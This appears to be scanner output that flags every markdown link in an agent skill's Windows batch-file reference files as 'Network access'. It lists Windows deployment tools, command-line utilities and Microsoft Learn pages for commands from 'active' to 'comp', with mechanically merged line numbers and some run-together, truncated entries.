- [Windows ADK 23H2](https://www.microsoft.com/en-us/download/details.aspx?id=105667) - Network accessline 51
- [Windows ADK 24H2](https://www.microsoft.com/en-us/download/details.aspx?id=106254) - Network accessline 52
- [Windows Server 25](https://www.microsoft.com/en-us/download/details.aspx?id=106295) - Network accessline 53
- [Microsoft Deployment Toolkit](https://learn.microsoft.com/en-us/intune/configmgr/mdt/) - Network accessline 54
- [Windows Assessment and Deployment Kit](https://learn.microsoft.com/en-us/windows-hardware/get-started/adk-install) - [Rufus USB formatting tool](https://rufus.ie/en/) - [Windows 10 Update Assistant 22H2](https://www.microsoft.com/softwar - Network accessline 55
- [Rufus USB formatting tool](https://rufus.ie/en/) - [Windows 10 Update Assistant 22H2](https://www.microsoft.com/software-download/windows10) - [Windows 10 ISO](https://www.microsoft.com/software-download/windows10ISO) - Network accessline 56
- [Windows 10 Update Assistant 22H2](https://www.microsoft.com/software-download/windows10) - Network accessline 57
- [Windows 10 ISO](https://www.microsoft.com/software-download/windows10ISO) - Network accessline 59
- [Locale Builder 2.0](https://www.microsoft.com/download/details.aspx?id=41158) - Network accessline 63
- [Ansible](https://www.ansible.com/how-ansible-works/) - Network accessline 64
- [Chocolatey](https://chocolatey.org/) - Network accessline 65
- [Ninite](https://ninite.com/) - Network accessline 66
- [Scoop](https://scoop.sh/) - Network accessline 67
- [Windows Package Manager (WinGet)](https://devblogs.microsoft.com/commandline/windows-package-manager-1-1/) - Network accessline 68
- [AppGet](https://devblogs.microsoft.com/commandline/winget-install-learning/) - Network accessline 72
- [SysInternals](https://learn.microsoft.com/en-us/sysinternals/) - Network accessline 73
- [bottom](https://github.com/ClementTsang/bottom) — cross-platform graphical process/system monitor - Network accessline 74
- [Caffeine.exe](https://www.zhornsoftware.co.uk/caffeine/index.html) — prevent sleep/lock - Network accessline 75
- [CMDebug](https://jpsoft.com/products/cmdebug.html) — batch file debugger - Network accessline 76
- [Console 2](https://github.com/cbucher/console) | [review](https://www.hanselman.com/blog/Console2ABetterWindowsCommandPrompt) - Network accessline 77
- [ConEmu-Maximus5](https://conemu.github.io/) | [review](https://www.hanselman.com/blog/ConEmuTheWindowsTerminalConsolePromptWeveBeenWaitingFor) - Network accessline 78
- [CopyTrans Manager](https://www.copytrans.net/copytransmanager/) | [CopyTrans Filey](https://www.copytrans.net/copytransfiley/) - Network accessline 79
- [CryptoPrevent](https://www.bleepingcomputer.com/virus-removal/cryptolocker-ransomware-information) - Network accessline 80
- [Cygwin](https://cygwin.com/) - Network accessline 81
- [DOFF](https://ss64.com/links/doff10.zip) | [source](https://ss64.com/links/doff10_source.zip) - Network accessline 82
- [FastCopy](https://fastcopy.jp/) - Network accessline 83
- [FindRepl.bat](https://www.dostips.com/forum/viewtopic.php?f=3&t=4697) — find and replace in text files - Network accessline 84
- [Gow](https://github.com/bmatzelle/gow) — GNU on Windows (lightweight Cygwin alternative) - Network accessline 85
- [ImageMagick](https://www.imagemagick.org/) - Network accessline 86
- [Jdupes](https://codeberg.org/jbruchon/jdupes) — duplicate file finder - Network accessline 87
- [Joeware.net](https://www.joeware.net/freetools/) — AD and Windows tools - [Karen's directory printer](https://www.karenware.com/powertools/karens-directory-printer) - [Microsoft Mouse without Borders](https://www.microsoft.com/en-ca/down - Network accessline 88
- [Karen's directory printer](https://www.karenware.com/powertools/karens-directory-printer) - [Microsoft Mouse without Borders](https://www.microsoft.com/en-ca/download/details.aspx?id=35460) - [MParallel](https://github.com/lordmulder/MPa - Network accessline 89
- [Microsoft Mouse without Borders](https://www.microsoft.com/en-ca/download/details.aspx?id=35460) - Network accessline 90
- [MParallel](https://github.com/lordmulder/MParallel) — parallel command execution - Network accessline 91
- [Nirsoft Utilities](https://www.nirsoft.net/) - Network accessline 92
- [NirCMD](https://www.nirsoft.net/utils/nircmd.html) — command-line automation utility - Network accessline 93
- [NSIS](https://nsis.sourceforge.io/Main_Page) — installer creation - Network accessline 94
- [Npocmaka batch scripts](https://github.com/npocmaka/batch.scripts) - Network accessline 95
- [zipjs.bat](https://stackoverflow.com/questions/28043589/how-can-i-compress-zip-and-uncompress-unzip-files-and-folders-with-bat) - Network accessline 96
- [PDFtk](https://www.pdflabs.com/tools/pdftk-server/) — PDF manipulation - Network accessline 97
- [Petter Nordahl-Hagen](https://pogostick.net/~pnh/ntpasswd/main.html) — NT password recovery - Network accessline 98
- [pretentiousname utilities](https://www.pretentiousname.com/miscsoft/index.html) - Network accessline 99
- [Repl.bat](https://www.dostips.com/forum/viewtopic.php?f=3&t=3855) — regex replace in text files - Network accessline 100
- [Ritchie Lawrence tools](https://github.com/ritchielawrence/) | [cmdow](https://github.com/ritchielawrence/cmdow) - Network accessline 101
- [SetACL](https://helgeklein.com/setacl/) — permission management - Network accessline 102
- SetRes — screen resolution changer - [SoX](https://sourceforge.net/projects/sox/files/sox//) — audio processing - [Bill Stewart utilities](https://westmesatech.com/?page_id=23) - Network accessline 103
- [SoX](https://sourceforge.net/projects/sox/files/sox//) — audio processing - Network accessline 104
- [Bill Stewart utilities](https://westmesatech.com/?page_id=23) - [System Tools (Somarsoft)](https://www.systemtools.com/somarsoft/) - [WebP utilities](https://developers.google.com/speed/webp/download) - Network accessline 105
- [System Tools (Somarsoft)](https://www.systemtools.com/somarsoft/) - Network accessline 106
- [WebP utilities](https://developers.google.com/speed/webp/download) - Network accessline 110
- [Depicus](https://www.depicus.com/wake-on-lan/wake-on-lan-cmd) - Network accessline 111
- [Gammadyne](https://www.gammadyne.com/cmdline.htm#wol) - Network accessline 112
- [Nirsoft WOL](https://www.nirsoft.net/utils/wake_on_lan.html) - Network accessline 113
- [PowerShell Wake On LAN script](https://powershell.one/code/11.html) - Network accessline 117
- [Windows Terminal](https://apps.microsoft.com/detail/9N0DX20HK701) | [GitHub](https://github.com/microsoft/terminal) - Network accessline 118
- [ConEmu](https://conemu.github.io/) - Network accessline 119
- [ConsoleZ](https://github.com/cbucher/console) - Network accessline 120
- [Fluent Terminal](https://github.com/felixse/FluentTerminal) - Network accessline 121
- [Hyper](https://hyper.is/) - Network accessline 122
- [MinTTY](https://mintty.github.io/) - Network accessline 123
- [MobaXterm](https://mobaxterm.mobatek.net/) - Network accessline 124
- [Tabby](https://tabby.sh/) - Network accessline 125
- [ZOC](https://www.emtec.com/zoc/)
harness/claude-code/skills/batch-files/references/windows-commands.md
- Network accessline 3
Comprehensive command reference from [learn.microsoft.com](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/windows-commands). - Network accessline 7
- [active](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/active) - Network accessline 8
- [add](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/add) - Network accessline 9
- [add alias](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/add-alias) - Network accessline 10
- [add volume](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/add-volume) - Network accessline 11
- [adprep](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/adprep) - Network accessline 12
- [append](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/append) - Network accessline 13
- [arp](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/arp) - Network accessline 14
- [assign](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/assign) - Network accessline 15
- [assoc](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/assoc) - Network accessline 16
- [at](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/at) - Network accessline 17
- [atmadm](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/atmadm) - Network accessline 18
- [attach-vdisk](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/attach-vdisk) - Network accessline 19
- [attrib](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/attrib) - Network accessline 20
- [attributes](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/attributes) - Network accessline 21
- [attributes disk](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/attributes-disk) - Network accessline 22
- [attributes volume](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/attributes-volume) - Network accessline 23
- [auditpol](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/auditpol) - Network accessline 24
- [auditpol backup](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/auditpol-backup) - Network accessline 25
- [auditpol clear](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/auditpol-clear) - Network accessline 26
- [auditpol get](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/auditpol-get) - Network accessline 27
- [auditpol list](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/auditpol-list) - Network accessline 28
- [auditpol remove](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/auditpol-remove) - Network accessline 29
- [auditpol resourcesacl](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/auditpol-resourcesacl) - Network accessline 30
- [auditpol restore](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/auditpol-restore) - Network accessline 31
- [auditpol set](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/auditpol-set) - Network accessline 32
- [autochk](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/autochk) - Network accessline 33
- [autoconv](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/autoconv) - Network accessline 34
- [autofmt](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/autofmt) - Network accessline 35
- [automount](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/automount) - Network accessline 39
- [bcdboot](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bcdboot) - Network accessline 40
- [bcdedit](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bcdedit) - Network accessline 41
- [bdehdcfg](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bdehdcfg) - Network accessline 42
- [bdehdcfg driveinfo](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bdehdcfg-driveinfo) - Network accessline 43
- [bdehdcfg newdriveletter](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bdehdcfg-newdriveletter) - Network accessline 44
- [bdehdcfg quiet](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bdehdcfg-quiet) - Network accessline 45
- [bdehdcfg restart](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bdehdcfg-restart) - Network accessline 46
- [bdehdcfg size](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bdehdcfg-size) - Network accessline 47
- [bdehdcfg target](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bdehdcfg-target) - Network accessline 48
- [begin backup](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/begin-backup) - Network accessline 49
- [begin restore](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/begin-restore) - Network accessline 50
- [bitsadmin](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin) - Network accessline 51
- [bitsadmin addfile](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-addfile) - Network accessline 52
- [bitsadmin addfileset](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-addfileset) - Network accessline 53
- [bitsadmin addfilewithranges](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-addfilewithranges) - Network accessline 54
- [bitsadmin cache](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-cache) - Network accessline 55
- [bitsadmin cancel](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-cancel) - Network accessline 56
- [bitsadmin complete](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-complete) - Network accessline 57
- [bitsadmin create](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-create) - Network accessline 58
- [bitsadmin examples](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-examples) - Network accessline 59
- [bitsadmin getaclflags](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getaclflags) - Network accessline 60
- [bitsadmin getbytestotal](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getbytestotal) - Network accessline 61
- [bitsadmin getbytestransferred](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getbytestransferred) - Network accessline 62
- [bitsadmin getclientcertificate](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getclientcertificate) - Network accessline 63
- [bitsadmin getcompletiontime](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getcompletiontime) - Network accessline 64
- [bitsadmin getcreationtime](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getcreationtime) - Network accessline 65
- [bitsadmin getcustomheaders](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getcustomheaders) - Network accessline 66
- [bitsadmin getdescription](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getdescription) - Network accessline 67
- [bitsadmin getdisplayname](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getdisplayname) - Network accessline 68
- [bitsadmin geterror](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-geterror) - Network accessline 69
- [bitsadmin geterrorcount](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-geterrorcount) - Network accessline 70
- [bitsadmin getfilestotal](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getfilestotal) - Network accessline 71
- [bitsadmin getfilestransferred](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getfilestransferred) - Network accessline 72
- [bitsadmin gethelpertokenflags](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-gethelpertokenflags) - Network accessline 73
- [bitsadmin gethelpertokensid](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-gethelpertokensid) - Network accessline 74
- [bitsadmin gethttpmethod](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-gethttpmethod) - Network accessline 75
- [bitsadmin getmaxdownloadtime](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getmaxdownloadtime) - Network accessline 76
- [bitsadmin getminretrydelay](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getminretrydelay) - Network accessline 77
- [bitsadmin getmodificationtime](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getmodificationtime) - Network accessline 78
- [bitsadmin getnoprogresstimeout](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getnoprogresstimeout) - Network accessline 79
- [bitsadmin getnotifycmdline](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getnotifycmdline) - Network accessline 80
- [bitsadmin getnotifyflags](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getnotifyflags) - Network accessline 81
- [bitsadmin getnotifyinterface](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getnotifyinterface) - Network accessline 82
- [bitsadmin getowner](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getowner) - Network accessline 83
- [bitsadmin getpeercachingflags](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getpeercachingflags) - Network accessline 84
- [bitsadmin getpriority](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getpriority) - Network accessline 85
- [bitsadmin getproxybypasslist](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getproxybypasslist) - Network accessline 86
- [bitsadmin getproxylist](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getproxylist) - Network accessline 87
- [bitsadmin getproxyusage](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getproxyusage) - Network accessline 88
- [bitsadmin getreplydata](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getreplydata) - Network accessline 89
- [bitsadmin getreplyfilename](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getreplyfilename) - Network accessline 90
- [bitsadmin getreplyprogress](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getreplyprogress) - Network accessline 91
- [bitsadmin getsecurityflags](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getsecurityflags) - Network accessline 92
- [bitsadmin getstate](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getstate) - Network accessline 93
- [bitsadmin gettemporaryname](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-gettemporaryname) - Network accessline 94
- [bitsadmin gettype](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-gettype) - Network accessline 95
- [bitsadmin getvalidationstate](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-getvalidationstate) - Network accessline 96
- [bitsadmin help](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-help) - Network accessline 97
- [bitsadmin info](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-info) - Network accessline 98
- [bitsadmin list](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-list) - Network accessline 99
- [bitsadmin listfiles](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-listfiles) - Network accessline 100
- [bitsadmin makecustomheaderswriteonly](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-makecustomheaderswriteonly) - Network accessline 101
- [bitsadmin monitor](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-monitor) - Network accessline 102
- [bitsadmin nowrap](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-nowrap) - Network accessline 103
- [bitsadmin peercaching](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-peercaching) - Network accessline 104
- [bitsadmin peers](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-peers) - Network accessline 105
- [bitsadmin rawreturn](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-rawreturn) - Network accessline 106
- [bitsadmin removeclientcertificate](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-removeclientcertificate) - Network accessline 107
- [bitsadmin removecredentials](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-removecredentials) - Network accessline 108
- [bitsadmin replaceremoteprefix](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-replaceremoteprefix) - Network accessline 109
- [bitsadmin reset](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-reset) - Network accessline 110
- [bitsadmin resume](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-resume) - Network accessline 111
- [bitsadmin setaclflag](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-setaclflag) - Network accessline 112
- [bitsadmin setclientcertificatebyid](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-setclientcertificatebyid) - Network accessline 113
- [bitsadmin setclientcertificatebyname](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-setclientcertificatebyname) - Network accessline 114
- [bitsadmin setcredentials](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-setcredentials) - Network accessline 115
- [bitsadmin setcustomheaders](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-setcustomheaders) - Network accessline 116
- [bitsadmin setdescription](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-setdescription) - Network accessline 117
- [bitsadmin setdisplayname](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-setdisplayname) - Network accessline 118
- [bitsadmin sethelpertoken](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-sethelpertoken) - Network accessline 119
- [bitsadmin sethelpertokenflags](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-sethelpertokenflags) - Network accessline 120
- [bitsadmin sethttpmethod](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-sethttpmethod) - Network accessline 121
- [bitsadmin setmaxdownloadtime](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-setmaxdownloadtime) - Network accessline 122
- [bitsadmin setminretrydelay](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-setminretrydelay) - Network accessline 123
- [bitsadmin setnoprogresstimeout](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-setnoprogresstimeout) - Network accessline 124
- [bitsadmin setnotifycmdline](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-setnotifycmdline) - Network accessline 125
- [bitsadmin setnotifyflags](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-setnotifyflags) - Network accessline 126
- [bitsadmin setpeercachingflags](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-setpeercachingflags) - Network accessline 127
- [bitsadmin setpriority](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-setpriority) - Network accessline 128
- [bitsadmin setproxysettings](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-setproxysettings) - Network accessline 129
- [bitsadmin setreplyfilename](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-setreplyfilename) - Network accessline 130
- [bitsadmin setsecurityflags](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-setsecurityflags) - Network accessline 131
- [bitsadmin setvalidationstate](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-setvalidationstate) - Network accessline 132
- [bitsadmin suspend](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-suspend) - Network accessline 133
- [bitsadmin takeownership](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-takeownership) - Network accessline 134
- [bitsadmin transfer](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-transfer) - Network accessline 135
- [bitsadmin util](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-util) - Network accessline 136
- [bitsadmin wrap](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-wrap) - Network accessline 137
- [bitsadmin cache and delete](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-cache-and-delete) - Network accessline 138
- [bitsadmin cache and deleteurl](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-cache-and-deleteurl) - Network accessline 139
- [bitsadmin cache and getexpirationtime](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-cache-and-getexpirationtime) - Network accessline 140
- [bitsadmin cache and getlimit](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-cache-and-getlimit) - Network accessline 141
- [bitsadmin cache and help](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-cache-and-help) - Network accessline 142
- [bitsadmin cache and info](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-cache-and-info) - Network accessline 143
- [bitsadmin cache and list](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-cache-and-list) - Network accessline 144
- [bitsadmin cache and setexpirationtime](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-cache-and-setexpirationtime) - Network accessline 145
- [bitsadmin cache and setlimit](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-cache-and-setlimit) - Network accessline 146
- [bitsadmin cache and clear](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-cache-clear) - Network accessline 147
- [bitsadmin peercaching and getconfigurationflags](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-peercaching-and-getconfigurationflags) - Network accessline 148
- [bitsadmin peercaching and help](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-peercaching-and-help) - Network accessline 149
- [bitsadmin peercaching and setconfigurationflags](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-peercaching-and-setconfigurationflags) - Network accessline 150
- [bitsadmin peers and clear](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-peers-and-clear) - Network accessline 151
- [bitsadmin peers and discover](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-peers-and-discover) - Network accessline 152
- [bitsadmin peers and help](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-peers-and-help) - Network accessline 153
- [bitsadmin peers and list](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-peers-and-list) - Network accessline 154
- [bitsadmin util and enableanalyticchannel](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-util-and-enableanalyticchannel) - Network accessline 155
- [bitsadmin util and getieproxy](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-util-and-getieproxy) - Network accessline 156
- [bitsadmin util and help](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-util-and-help) - Network accessline 157
- [bitsadmin util and repairservice](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-util-and-repairservice) - Network accessline 158
- [bitsadmin util and setieproxy](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-util-and-setieproxy) - Network accessline 159
- [bitsadmin util and version](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-util-and-version) - Network accessline 160
- [bootcfg](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bootcfg) - Network accessline 161
- [bootcfg addsw](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bootcfg-addsw) - Network accessline 162
- [bootcfg copy](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bootcfg-copy) - Network accessline 163
- [bootcfg dbg1394](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bootcfg-dbg1394) - Network accessline 164
- [bootcfg debug](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bootcfg-debug) - Network accessline 165
- [bootcfg default](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bootcfg-default) - Network accessline 166
- [bootcfg delete](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bootcfg-delete) - Network accessline 167
- [bootcfg ems](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bootcfg-ems) - Network accessline 168
- [bootcfg query](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bootcfg-query) - Network accessline 169
- [bootcfg raw](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bootcfg-raw) - Network accessline 170
- [bootcfg rmsw](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bootcfg-rmsw) - Network accessline 171
- [bootcfg timeout](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bootcfg-timeout) - Network accessline 172
- [break](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/break) - Network accessline 176
- [cacls](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/cacls) - Network accessline 177
- [call](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/call) - Network accessline 178
- [cd](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/cd) - Network accessline 179
- [certreq](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/certreq_1) - Network accessline 180
- [certutil](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/certutil) - Network accessline 181
- [change](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/change) - Network accessline 182
- [change logon](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/change-logon) - Network accessline 183
- [change port](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/change-port) - Network accessline 184
- [change user](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/change-user) - Network accessline 185
- [chcp](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/chcp) - Network accessline 186
- [chdir](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/chdir) - Network accessline 187
- [chglogon](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/chglogon) - Network accessline 188
- [chgport](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/chgport) - Network accessline 189
- [chgusr](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/chgusr) - Network accessline 190
- [chkdsk](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/chkdsk) - Network accessline 191
- [chkntfs](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/chkntfs) - Network accessline 192
- [choice](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/choice) - Network accessline 193
- [cipher](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/cipher) - Network accessline 194
- [clean](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/clean) - Network accessline 195
- [cleanmgr](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/cleanmgr) - Network accessline 196
- [clip](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/clip) - Network accessline 197
- [cls](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/cls) - Network accessline 198
- [cmd](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/cmd) - Network accessline 199
- [cmdkey](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/cmdkey) - Network accessline 200
- [cmstp](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/cmstp) - Network accessline 201
- [color](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/color) - Network accessline 202
- [comp](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/comp) - Network accessline 203
